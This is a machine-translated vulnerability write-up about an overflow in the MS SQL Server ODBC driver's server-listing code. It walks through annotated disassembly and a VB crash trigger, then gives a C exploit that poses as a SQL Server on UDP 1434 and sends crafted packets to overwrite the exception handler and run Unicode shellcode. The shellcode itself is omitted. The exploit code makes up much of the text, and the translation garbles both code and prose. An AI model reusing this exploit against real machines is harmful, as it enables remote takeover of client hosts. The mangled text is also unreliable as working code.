Ms SQL Server ODBC driver SQL Server listing Stack Overflow Vulnerability
Created:
Article attributes: original
Source: http://www.xfocus.net
Article submitted: flashsky (flashsky1_at_sina.com)
Indicate the author and security focus
Author: flashsky
Site: www. xfocus. net
Mail: flashsky@xfocus.org
An overflow vulnerability exists in the ms SQL Server ODBC driver. attackers can use this vulnerability to send specially crafted data packets to remotely control any host that lists SQL Server servers through SQL Server ODBC. So I checked the compilation of two main programs on the SQL Server Client: sqlsvr32. DLL and dbnetlib. DLL. A heap overflow is found. The following is a study on the ODBC driver of the Chinese w2k SERVER + SP3, which is not tested on other platforms. The English version of ODBC connection does not seem to have this problem.
After receiving the package, SQL Server ODBC converts all received packages into unicode format and stores them in the heap. ";" is used between each package as the boundary symbol.
Let's take a look at the assembly code it handles:
. Text: 74cb72a1 loc_74cb72a1:
. Text: 74cb72a1 mov edX, [EBP + var_4]
. Text: 74cb72a4 mov eax, [EBP + var_104c] Number of existing loops in the ebp-0x104c
. Text: 74cb72aa CMP eax, [edX + 8] edX + 8 storage Total number of packages received
. Text: 74cb72ad jge loc_74cb70f2
. Text: 74cb72b3 mov ECx, [EBP + var_1044]
. Text: 74cb72b9 mov edX, [ECx + 4]
. Text: 74cb72bc mov eax, [EBP + var_1048]
. Text: 74cb72c2 Lea ECx, [eax + EDX * 2]
. Text: 74cb72c5 mov edX, [EBP + arg_8]
. Text: 74cb72c8 CMP ECx, [edX]
. Text: 74cb72ca jle short loc_74cb72d3
. Text: 74cb72cc XOR eax, eax
. Text: 74cb72ce JMP loc_74cb6eb7
. Text: 74cb72d3; where where?
. Text: 74cb72d3
. Text: 74cb72d3 loc_74cb72d3:; Code xref: getnextenumeration + 455j
. Text: 74cb72d3 mov eax, [EBP + var_1044]
. Text: 74cb72d9 mov ECx, [eax + 4]
. Text: 74cb72dc push ECx; cchwidechar
. Text: 74cb72dd mov edX, [EBP + arg_4] EBP + arg_4 is the input heap start address.
. Text: 74cb72e0 add edX, [EBP + var_1048] EBP + var_1048 is the number of heap used for calculation. The initial value is 0.
. Text: 74cb72e6 push edX; lpwidecharstr
. Text: 74cb72e7 mov eax, [EBP + var_1044] EBP + var_1044 is the pointer to the structure type array of the received package. The buffer address pointer of each of the first four bytes of this array is, the package size follows. Its C definition is as follows:
Typedef struct _ packbuf {
Char * bufpoint;
Long buflen;} packbuf, * ppackbuf;
Packbuf sqludprecv [];
EBP + var_1044 is a * ppackbuf = & sqludprecv;
. Text: 74cb72ed mov ECx, [eax + 4] Storing eax as package size data
. Text: 74cb72f0 push ECx; cchmultibyte
. Text: 74cb72f1 mov edX, [EBP + var_1044]
. Text: 74cb72f7 mov eax, [edX] Loading buffer address pointer
. Text: 74cb72f9 add eax, 3 from the package to Start copying 3, the first three bytes are a byte package type, 2 bytes package length information
. Text: 74cb72fc push eax; lpmultibytestr
. Text: 74cb72fd push 0; dwflags
. Text: 74cb72ff push 0; codePage
. Text: 74cb7301 call DS: multibytetowidechar
. Text: 74cb7307 mov ECx, [EBP + var_1044]
. Text: 74cb730d mov edX, [ECx + 4]
. Text: 74cb7310 mov eax, [EBP + var_1048]
. Text: 74cb7316 Lea ECx, [eax + EDX * 2] ECx = package size multiplied by 2 (because it is dubyte)
. Text: 74cb7319 mov [EBP + var_1048], ECx OK! This is to move the corresponding heap pointer at. Text: 74cb72e0.
. Text: 74cb731f mov edX, [EBP + var_104c]
. Text: 74cb7325 add edX, 1
. Text: 74cb7328 mov [EBP + var_104c], add 1 to the number of edX Loops
. Text: 74cb732e mov eax, [EBP + var_1044]
. Text: 74cb7334 mov ECx, [eax + 8]
. Text: 74cb7337 mov [EBP + var_1044], ECx moves to the next array location: EBP + var_1044 = EBP + var_1044 + 8;
. Text: 74cb733d JMP loc_74cb72a1
. Text: 74cb733d getnextenumeration endp
Then, stack overflow occurs in the following code: In sqlsvr32.dll, the main function is to analyze the package data.
. Text: 411b06a5 mov edX, [esp + 10 h]
. Text: 411b06a9 mov ECx, 0fah
. Text: 411b06ae XOR eax, eax
. Text: 411b06b0 Lea EDI, [esp + 10 h + arg_1c]
. Text: 411b06b4 repe stosd
. Text: 411b06b6 Lea ECx, [edX + EDX]
. Text: 411b06b9 mov ESI, EBP
. Text: 411b06bb mov eax, ECx
. Text: 411b06bd Lea EDI, [esp + 10 h + arg_1c]
. Text: 411b06c1 SHR ECx, 2
. Text: 411b06c4 repe movsd
This code copies the data in the original heap to the stack, but it is divided based on a ";" as the boundary symbol, and the allocated space is limited, the return address is overwritten at the place where 01740 (6000) is given to bytes. If you send several packets, as long as the heap position is continuous and there is no ";" and 0x6000, 0x00, and greater than (because Unicode will be doubled after processing), it will cause overflow. You can use the following VB code to verify the overflow.
Dim STR as string
Dim str1
Dim I
Winsock1.getdata Str
Str1 = "" & CHR (5) & CHR (& HFF) & CHR (& H9) 'the most dynamic package must be 0 x
Str1 = str1 & STR (4092, "2 ")
For 1 to 200
Winsock1.senddata str1
Next
Then you open the ODBC Management Program in the management tool on a machine on another LAN, and select a system DSN for SQL Server, then, this overflow occurs when the drop-down SQL Server server is listed. Because the sent Code does not contain special strings, the program will exit unexpectedly, in fact, tracking the program will not only cause exceptions, but also overwrite the exception handling address in the exception structure, this causes the execution point of the final program to jump to 0x32003200 (because the overflow string passed in is '2', the ASC code is 0x32, and after multibytetowidechar processing, the overwrite exception handler address is 0x32003200). If you can carefully construct the passed character content, you can remotely control the host.
To use this overflow, consider the following:
1. Address overwrite, because it is Unicode processing, the overwritten address must meet the conversion conditions.
2. Shellcode must meet Unicode requirements
3. To overwrite and obtain Unicode shell, a large amount of data is required to be sent, but packet receipt only accepts bytes 0 x. Therefore, multiple packets must be sent, only the package is multiplied by 2 to calculate the position. If the conversion from the preceding package to Unicode is not completely satisfied, multiple 0x00 must exist in the middle of the package. If there is a 0x00, 0x00, which cannot be copied consecutively. Therefore, the preceding package must be an ASC package, which also limits the selection of address types.
4. Prevent other SQL Server servers from sending packets. If the packets are in the middle, the packet is truncated.
Problem 1 is traced and found that its stack location is roughly around 0x6a000. Therefore, you can set the address 0x00070007 as the overwrite address. In many cases, the test is basically feasible. Problem 2: The Unicode encoding method of isno is used to decode the code at the beginning of the program. I am using a unicode shellcode written by isno. The tracking finds that the program runs well and can effectively repeat Unicode. However, exception handling in shellcode still has problems, after the correct jump and decoding, the execution is still caught by exceptions. This shellcode may still need to be improved. The third problem is that the codes sent by ASC are only decoded shellcode in the last package. Problem 4 is that the previous normal package is sent, and the delay is appropriate to solve.
As shellcode is written by isno, It is not listed here: in addition, several questions are raised:
1. Due to the limitations mentioned above, the overwrite address can only be hard-coded. Is there a better solution? In particular, the overwrite address must meet the requirements of the Code passed through multibytetowidechar and be extended to 2 times, otherwise, the heap will see 0x00 and the subsequent shellcode will be truncated.
2. Currently, shellcode still cannot catch exceptions. I have limited knowledge about this. Are there any more information about the structure of exceptions during program running.
# Include <winsock2.h>
# Include <windows. h>
Void main ()
{
Unsigned char buffer [4096];
Unsigned char bufhead [3] = {5, 0xfc, 0xf };
Unsigned char buf1 [] = "servername; 11111111; InstanceName; MSSQLServer; isclustered; no; version; 8.00.194; TCP; 1433; NP; //// 11111111 // pipe // SQL // query; "; // used to disguise normal packets, perform latency, and finally send overflow packets, so that no other package will cause interruption in the heap.
Unsigned char buf2 [4092];
Unsigned char buf3 [4092];
Unsigned char sendbuf [0x1000];
Unsigned char temp;
Wsadata;
Socket sock;
Sockaddr_in addr_in;
Handle listener;
Int E;
Int I;
Int sendlen;
DWORD A1;
Const int sndbuf = 0;
Const int tcpnodelay = true;
Const int broadcast = true;
Struct sockaddr_in udpfrom;
Int udpfromlen = sizeof (udpfrom );
Int N;
Unsigned char shellend [4] = {0x4e, 0x4e, 0, 0}; // used to mark the end of shellcode
Unsigned char shellcode1 [] = // omitted, written by isno
Unsigned char shellcodehead [70] = // omitted, written by isno, used to decode shellcode
If (wsastartup (makeword (2, 0), & wsadata )! = 0)
{
Printf (/"wsastartup error. Error: % d // n/", wsagetlasterror ());
Return false;
}
If (sock = socket (af_inet, sock_dgram, ipproto_udp) = invalid_socket)
{
Printf (/"socket failed. Error: % d // n/", wsagetlasterror ());
Return false;
}
Sendlen = widechartomultibyte (0x3a8, wc_compositecheck, shellcodehead,-1, sendbuf, 0x1000, null, null); // converts the decoded code to the other's multibytetowidechar, get the desired decoding code
Sendlen --;
Memcpy (sendbuf + sendlen, shellcode1, sizeof (shellcode1 ));
Sendlen = sendlen + sizeof (shellcode1); // Add an encoded Unicode.
Sendlen --;
I = widechartomultibyte (0x3a8, wc_compositecheck, shellend,-1, sendbuf + sendlen, 0x10, null, null );
Sendlen = sendlen + I-1;
// The above constructs a complete self-decoded shellcode
Memset (buf3, 0x4, 4092 );
// Because multiple packets are sent, the preceding character must be less than 128 characters. The Assembly with Zero addition is considered.
This buffer is equivalent to the NOP operation. The compilation after unicode encoding is: Add ax, 0
Memset (buf2, 7,4092 );
// Set the buffer for overwriting the overflow address
Buf2 [3000] = 8;
// Overwrite the address to 0x070008. Because it is an ASC code, the length after multibytetowidechar processing is Exactly 6000. overwrite the return address.
Addr_in.sin_family = af_inet;
Addr_in.sin_port = htons (0, 1434 );
Addr_in.sin_addr.s_un.s_addr = inet_addr (/"192.168.0.60 /");
N = BIND (sock, (sockaddr *) & addr_in, sizeof (addr_in ));
// Listen to UDP port 1434
If (n! = 0)
{
E = wsagetlasterror ();
Return-1;
}
// Someone is using
N = recvfrom (sock, buffer, sizeof (buffer), 0, (struct sockaddr *) & udpfrom, & udpfromlen );
* (Word *) (bufhead + 1) = sizeof (buf1)-1;
Memcpy (buffer, bufhead, 3 );
Memcpy (buffer + 3, buf1, sizeof (buf1)-1); // extend the time to avoid interruption.
For (I = 0; I <4; I ++)
{
N = sendto (sock, buffer, sizeof (buf1) + 2, 0, (struct sockaddr *) & udpfrom, & udpfromlen );
Sleep (100 );
}
// The above four normal packages are sent and delayed to ensure that other SQL servers have completed the reply, and the packages sent below are not truncated by other packages
* (Word *) (bufhead + 1) = 4092;
Memcpy (buffer, bufhead, 3 );
Memcpy (buffer + 3, buf2, 4092); // package covered by the sending Address
N = sendto (sock, buffer, 4095, 0, (struct sockaddr *) & udpfrom, & udpfromlen );
* (Word *) (bufhead + 1) = 4092;
Memcpy (buffer, bufhead, 3 );
Memcpy (buffer + 3, buf3, 4092); // sends an empty command package to ensure that it can finally jump to a valid address.
For (I = 0; I <2; I ++)
N = sendto (sock, buffer, 4095, 0, (struct sockaddr *) & udpfrom, & udpfromlen );
// Write shellcode
* (Word *) (bufhead + 1) = sendlen;
Memcpy (buffer, bufhead, 3 );
Memcpy (buffer + 3, sendbuf, sendlen );
N = sendto (sock, buffer, sendlen + 3, 0, (struct sockaddr *) & udpfrom, & udpfromlen );
Wsacleanup ();
Return 0;
}